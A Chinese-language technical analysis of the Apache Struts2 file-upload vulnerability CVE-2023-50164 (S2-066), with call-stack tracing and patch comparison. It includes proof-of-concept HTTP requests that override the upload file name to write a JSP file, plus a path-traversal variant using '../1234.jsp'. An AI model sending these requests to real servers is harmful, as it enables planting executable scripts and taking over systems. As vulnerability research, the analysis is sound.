CVE-2023-50164 S2-066 漏洞分析

admin 2024年2月5日13:29:14评论14 views字数 15138阅读50分27秒阅读模式

更多全球网络安全资讯尽在邑安全

漏洞POC

当前网上流传的POC共两个版本,分别是:

POST /upload.action?uploadFileName=001.jsp HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 251
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

<%= "Hello World!"%>;
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 413
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="2.txt"
Content-Type: text/plain

<%= "Hello World!"%>;
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName";
Content-Type: text/plain

002.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

漏洞分析

创建上下文

在对文件上传进行处理之前,首先从上下文中获取HttpParameter对象,这一过程在org.apache.struts2.dispatcher.Dispatcher#serviceAction中完成:

CVE-2023-50164 S2-066 漏洞分析

通过HttpParameters.create()获取到传入的恶意参数:"uploadFileName" -> 001.jsp;

CVE-2023-50164 S2-066 漏洞分析

处理文件上传

文件上传的处理主要在:org.apache.struts2.interceptor.FileUploadInterceptor#intercept中

1.首先获取ac上下文对象:

CVE-2023-50164 S2-066 漏洞分析

在getFileNames()的调用过程中,会调用getCanonicalName(),对上传文件名做了处理,通过过滤"","/",来防御目录遍历。

CVE-2023-50164 S2-066 漏洞分析

部分调用栈如下:

getCanonicalName:160, AbstractMultiPartRequest (org.apache.struts2.dispatcher.multipart)
getFileNames:265, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)
getFileNames:159, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)
intercept:279, FileUploadInterceptor (org.apache.struts2.interceptor)

继续往后调试,获取到文件名后,定义contentTypeName和fileNameName的命名规范:

CVE-2023-50164 S2-066 漏洞分析

因此,在我们写的Action中,命名格式需要与上述规范保持一致:

CVE-2023-50164 S2-066 漏洞分析

这里有一个小细节,在Action中,我们定义的属性名的首字母是小写,而经过上面的处理,待绑定的属性首字母应该是大写。不过,在后面的处理过程中,会调用capitalizeBeanPropertyName(),将Action中属性名的首字母转为大写,因此,在这里我们的属性名可以是:uploadFileNameUploadFileName这两种形式,均符合要求。

封装ActionContext

获取到文件相关参数后,全部封装到newParams中:

CVE-2023-50164 S2-066 漏洞分析

最后,再将newParams封装到上下文中,此时ac对象中已经保存了恶意的值uploadFileName,再将newParams直接绑进去,这也造成了后续的参数覆盖。

CVE-2023-50164 S2-066 漏洞分析

直接进行appendAll(),将恶意参数与正常的文件上传相关参数同时封装到ActionContext对象中。

CVE-2023-50164 S2-066 漏洞分析

参数绑定

封装完ac对象,接下来就开始进行参数绑定,这一部分的处理过程在com.opensymphony.xwork2.interceptor.ParametersInterceptor#doIntercept中完成。

调用setParameters()进行参数绑定:

CVE-2023-50164 S2-066 漏洞分析

在正式处理前,先将所有参数封装进TreeMap中:

CVE-2023-50164 S2-066 漏洞分析

根据TreeMap的存储结构,大写会优先于小写存储(如上图),我们传入的恶意参数"uploadFileName" 被放在了正常的上传文件名参数"UploadFileName"之后,这也造成了在后续调用setUploadFileName()进行赋值时,后调用的会覆盖前面的值。

接下来,通过遍历TreeMap中的值,开始逐个调用相关setter(),进行参数绑定:

CVE-2023-50164 S2-066 漏洞分析

以第一次For循环为例,分析整个处理流程:

CVE-2023-50164 S2-066 漏洞分析

在处理的过程中,会调用hasSetProperty()方法,来判断是否存在对应的setter():

CVE-2023-50164 S2-066 漏洞分析

当前部分调用栈如下:

setProperty:83, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)
setProperty:3359, OgnlRuntime (ognl)
setValueBody:134, ASTProperty (ognl)
evaluateSetValueBody:220, SimpleNode (ognl)
setValue:308, SimpleNode (ognl)
setValue:829, Ognl (ognl)
lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl)
execute:-1, 446450776 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$63)
compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl)
setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl)
trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl)
setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor)

在hasSetProperty()中,判断目标类中是否存在对应的setter方法或者对应Field,有则返回True:

CVE-2023-50164 S2-066 漏洞分析

调用hasSetMethod() --> getSetMethod(),判断目标类中是否存在相关setter方法:

首先尝试从缓存中查找:

CVE-2023-50164 S2-066 漏洞分析

如果在缓存中未找到,则继续调用_getSetMethod()->getDeclaredMethods()进行处理:

CVE-2023-50164 S2-066 漏洞分析

CVE-2023-50164 S2-066 漏洞分析

在getDeclaredMethods()中,首先调用了capitalizeBeanPropertyName()对传入的propertyName的首字母转为大写,并返回。

CVE-2023-50164 S2-066 漏洞分析

CVE-2023-50164 S2-066 漏洞分析

接着调用collectAccessors():

获取Action中的所有Method,并遍历这些Method,调用addIfAccessor()匹配对应的setter():

CVE-2023-50164 S2-066 漏洞分析

调用addIfAccessor()的处理流程:

当匹配到对应的setter方法,则将结果保存并返回。

CVE-2023-50164 S2-066 漏洞分析

CVE-2023-50164 S2-066 漏洞分析

从hasSetProperty()开始尝试匹配对应的setter(),到匹配成功部分的调用栈,如下:

addIfAccessor:2707, OgnlRuntime (ognl)
collectAccessors:2686, OgnlRuntime (ognl)
getDeclaredMethods:2653, OgnlRuntime (ognl)
_getSetMethod:2915, OgnlRuntime (ognl)
getSetMethod:2884, OgnlRuntime (ognl)
hasSetMethod:2955, OgnlRuntime (ognl)
hasSetProperty:2973, OgnlRuntime (ognl)
setProperty:83, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)

匹配到对应的结果之后,会put进cacheSetMethod缓存中,以便于下次直接查找。

CVE-2023-50164 S2-066 漏洞分析

此时已经成功匹配到了对应的setter()方法,接下来开始尝试调用该方法。

CVE-2023-50164 S2-066 漏洞分析

CVE-2023-50164 S2-066 漏洞分析

此过程不再赘述,从setProperty()到调用相关setter()方法部分的调用栈如下:

setUpload:27, UploadAction (com.struts2)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethodInsideSandbox:1245, OgnlRuntime (ognl)
invokeMethod:1230, OgnlRuntime (ognl)
callAppropriateMethod:1958, OgnlRuntime (ognl)
setMethodValue:2196, OgnlRuntime (ognl)
setPossibleProperty:98, ObjectPropertyAccessor (ognl)
setProperty:175, ObjectPropertyAccessor (ognl)
setProperty:42, ObjectAccessor (com.opensymphony.xwork2.ognl.accessor)
setProperty:3359, OgnlRuntime (ognl)
setProperty:84, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)

至此,便完成了第一次For循环为"Upload"赋值的整个流程。接下来,便是为其他三个参数进行赋值:

CVE-2023-50164 S2-066 漏洞分析

我们可以简单看下为"UploadFileName"和"uploadFileName"赋值的过程:

第三次循环,为UploadFileName进行赋值:

CVE-2023-50164 S2-066 漏洞分析

CVE-2023-50164 S2-066 漏洞分析

第四次循环,为uploadFileName进行赋值:

CVE-2023-50164 S2-066 漏洞分析

CVE-2023-50164 S2-066 漏洞分析

完成整个参数绑定的过程之后,开始文件上传。

文件上传

CVE-2023-50164 S2-066 漏洞分析

访问上传的文件:

CVE-2023-50164 S2-066 漏洞分析

完整的调用栈如下:

doUpload:47, UploadAction (com.struts2)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeMethodInsideSandbox:1245, OgnlRuntime (ognl)
invokeMethod:1230, OgnlRuntime (ognl)
callAppropriateMethod:1958, OgnlRuntime (ognl)
callMethod:68, ObjectMethodAccessor (ognl)
callMethodWithDebugInfo:98, XWorkMethodAccessor (com.opensymphony.xwork2.ognl.accessor)
callMethod:90, XWorkMethodAccessor (com.opensymphony.xwork2.ognl.accessor)
callMethod:2034, OgnlRuntime (ognl)
getValueBody:97, ASTMethod (ognl)
evaluateGetValueBody:212, SimpleNode (ognl)
getValue:258, SimpleNode (ognl)
getValue:586, Ognl (ognl)
getValue:550, Ognl (ognl)
lambda$callMethod$4:599, OgnlUtil (com.opensymphony.xwork2.ognl)
execute:-1, 1323806123 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$119)
compileAndExecuteMethod:642, OgnlUtil (com.opensymphony.xwork2.ognl)
callMethod:599, OgnlUtil (com.opensymphony.xwork2.ognl)
invokeAction:434, DefaultActionInvocation (com.opensymphony.xwork2)
invokeActionOnly:307, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:259, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:256, DebuggingInterceptor (org.apache.struts2.interceptor.debugging)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:179, DefaultWorkflowInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:263, ValidationInterceptor (com.opensymphony.xwork2.validator)
doIntercept:49, AnnotationValidationInterceptor (org.apache.struts2.interceptor.validation)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:78, FetchMetadataInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:57, CoopInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:55, CoepInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:143, ConversionErrorInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:152, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:152, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:202, StaticParametersInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:67, MultiselectInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:133, DateTextFieldInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:89, CheckboxInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:320, FileUploadInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:101, ModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:142, ScopedModelDrivenInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:161, ChainingInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
doIntercept:175, PrepareInterceptor (com.opensymphony.xwork2.interceptor)
intercept:99, MethodFilterInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:59, CspInterceptor (org.apache.struts2.interceptor.csp)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:140, I18nInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:99, HttpMethodInterceptor (org.apache.struts2.interceptor.httpmethod)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:154, ServletConfigInterceptor (org.apache.struts2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:229, AliasInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
intercept:196, ExceptionMappingInterceptor (com.opensymphony.xwork2.interceptor)
executeConditional:299, DefaultActionInvocation (com.opensymphony.xwork2)
invoke:253, DefaultActionInvocation (com.opensymphony.xwork2)
execute:48, StrutsActionProxy (org.apache.struts2.factory)
serviceAction:651, Dispatcher (org.apache.struts2.dispatcher)
executeAction:79, ExecuteOperations (org.apache.struts2.dispatcher)
handleRequest:157, StrutsPrepareAndExecuteFilter (org.apache.struts2.dispatcher.filter)
tryHandleRequest:140, StrutsPrepareAndExecuteFilter (org.apache.struts2.dispatcher.filter)
doFilter:128, StrutsPrepareAndExecuteFilter (org.apache.struts2.dispatcher.filter)
internalDoFilter:193, ApplicationFilterChain (org.apache.catalina.core)
doFilter:166, ApplicationFilterChain (org.apache.catalina.core)
invoke:199, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:544, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:81, ErrorReportValve (org.apache.catalina.valves)
invoke:690, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:616, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1634, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

注:如果当前目录没有脚本执行权限,那么我们还可以通过目录遍历,将jsp脚本传到其他具有脚本执行权限的文件夹下,虽然在前面的getCanonicalName()中,做了目录遍历的防御,但该处防御,仅针对通过getFileNames()获取到的正常文件名,而我们最终可以通过覆盖掉正常的文件名,来达到目录穿越:

POST /upload.action?uploadFileName=../1234.jsp HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 251
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain

<%= "Hello World!"%>
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--
POST /upload.action HTTP/1.1
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 413
Content-Type: multipart/form-data; boundary=------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="Upload"; filename="2.txt"
Content-Type: text/plain

<%= "Hello World!"%>
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN
Content-Disposition: form-data; name="uploadFileName";
Content-Type: text/plain

../1234.jsp
--------------------------xmQEXKePZSVwNZmNjGHSafZOcxAMpAjXtGWfDZWN--

CVE-2023-50164 S2-066 漏洞分析

CVE-2023-50164 S2-066 漏洞分析

补丁分析

S2-066补丁对比

通过版本对比,可知该上传漏洞的修复的办法主要就是通过大小写脱敏的匹配,移除恶意的partermeters参数:

CVE-2023-50164 S2-066 漏洞分析

修复后的版本中,在appendAll()先执行了remove()操作:

CVE-2023-50164 S2-066 漏洞分析

在将newParams中的值put进parameters中之前,先通过大小写脱敏比较,查找parameters中是否存在能与newParams中匹配到的值,如果有,则先remove()掉parameters中匹配到的值。

CVE-2023-50164 S2-066 漏洞分析

CVE-2023-50164 S2-066 漏洞分析

CVE-2023-50164 S2-066 漏洞分析

此时封装到ActionContext中的参数,已过滤了恶意值:

CVE-2023-50164 S2-066 漏洞分析

接下来就可以正常的进行参数绑定,调用setter()等操作。

原文来自: freebuf.com

原文链接: https://www.freebuf.com/vuls/390725.html

原文始发于微信公众号(邑安全):CVE-2023-50164 S2-066 漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月5日13:29:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2023-50164 S2-066 漏洞分析https://cn-sec.com/archives/2470861.html

发表评论

匿名网友 填写信息